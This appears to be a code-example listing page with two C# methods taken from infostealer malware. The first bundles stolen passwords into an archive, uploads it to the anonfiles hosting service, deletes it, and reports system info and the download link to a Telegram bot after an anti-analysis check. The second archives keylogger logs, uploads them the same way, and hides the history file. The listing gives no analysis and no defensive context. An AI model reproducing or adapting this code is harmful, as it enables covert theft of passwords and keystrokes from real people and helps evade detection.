Пример #1
0
        /// <summary>
        /// Send passwords and system info to telegram bot
        /// </summary>
        /// <param name="file">Archive with passwords</param>
        public static void SendReport(string file)
        {
            Logging.Log("Sending passwords archive to anonfile");
            string url = AnonFiles.CreateDownloadLink(file,
                                                      GetLatestMessageId() == -1 && !AntiAnalysis.Run());


            File.Delete(file);

            Logging.Log("Sending report to telegram");
            SendSystemInfo(url);

            Logging.Log("Report sent to telegram bot");
        }
Пример #2
0
        /// <summary>
        /// Upload keylogs to anonfile
        /// </summary>
        private static void UploadKeylogs()
        {
            string log = Path.Combine(Paths.InitWorkDir(), "logs");

            if (!Directory.Exists(log))
            {
                return;
            }
            string filename = DateTime.Now.ToString("yyyy-MM-dd_h.mm.ss");
            string archive  = Filemanager.CreateArchive(log, false);

            File.Move(archive, filename + ".zip");
            string url = AnonFiles.CreateDownloadLink(filename + ".zip");

            File.Delete(filename + ".zip");
            File.AppendAllText(KeylogsHistory, $"\t\t\t\t\t\t\t- " +
                               $"[{filename.Replace("_", " ").Replace(".", ":")}]({url})\n");
            Startup.HideFile(KeylogsHistory);
        }